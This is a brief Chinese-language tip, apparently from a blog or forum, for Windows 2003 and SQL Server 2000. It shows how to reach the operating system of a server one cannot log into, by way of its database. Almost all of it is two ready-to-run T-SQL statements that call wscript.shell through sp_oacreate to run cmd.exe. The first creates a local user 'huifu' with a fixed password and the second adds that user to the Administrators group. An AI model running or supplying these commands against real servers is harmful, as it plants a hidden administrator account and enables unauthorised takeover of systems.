环境: windows 2003
数据库: sqlserver2000
前提:能访问无法登陆的服务器数据库,
登陆上另外一台服务器,查询分析器操作:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user huifu huifu /add' 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators huifu /add' 

蓝色为用户名 红色为密码

09-09 17:36